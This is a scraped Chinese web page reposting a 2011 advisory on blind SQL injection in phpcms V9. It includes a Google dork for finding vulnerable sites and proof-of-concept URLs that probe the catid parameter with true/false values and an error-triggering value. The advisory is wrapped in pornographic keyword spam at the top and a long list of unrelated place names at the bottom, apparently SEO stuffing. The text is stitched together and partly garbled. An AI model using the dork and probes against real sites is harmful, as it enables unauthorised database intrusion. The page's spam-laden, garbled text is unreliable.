最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

phpcms V9 BLind SQL 注入漏洞0day

  發(fā)布時間:2011-03-11 11:59:15   作者:佚名   我要評論
  影響版本:phpcms v9 blind  phpcms v9 blind 參數(shù)過濾存在SQL注入漏洞。

  影響版本:phpcms v9 blind

  官方網(wǎng)站:http://www.phpcms.cn

  漏洞類型:SQL注入

  漏洞描述:phpcms v9 blind 參數(shù)過濾存在SQL注入漏洞。

  google dork:inurl:"index.php?m=content+c=rss+catid=10"

  exploit & p0c

  [!] index.php?m=content&c=rss&catid=[valid catid]

  Example p0c

  [!] http://host/index.php?m=content&c=rss&catid=10 <= True

  [!] http://host/index.php?m=content&c=rss&catid=-10 <= False

  [+] http://host/index.php?m=content&c=rss&catid=5 <= show MySQL Error (table)

 

相關(guān)文章

最新評論

岚皋县| 永新县| 南郑县| 鄂尔多斯市| 崇仁县| 唐山市| 华池县| 东丰县| 亚东县| 牙克石市| 永川市| 大城县| 中牟县| 织金县| 高尔夫| 连州市| 平顺县| 静乐县| 将乐县| 扶绥县| 贞丰县| 南江县| 上思县| 丹凤县| 普定县| 五华县| 建水县| 西充县| 宁都县| 博爱县| 宁化县| 本溪市| 墨玉县| 宁明县| 江山市| 柏乡县| 新河县| 都江堰市| 东阿县| 阜新市| 昌宁县|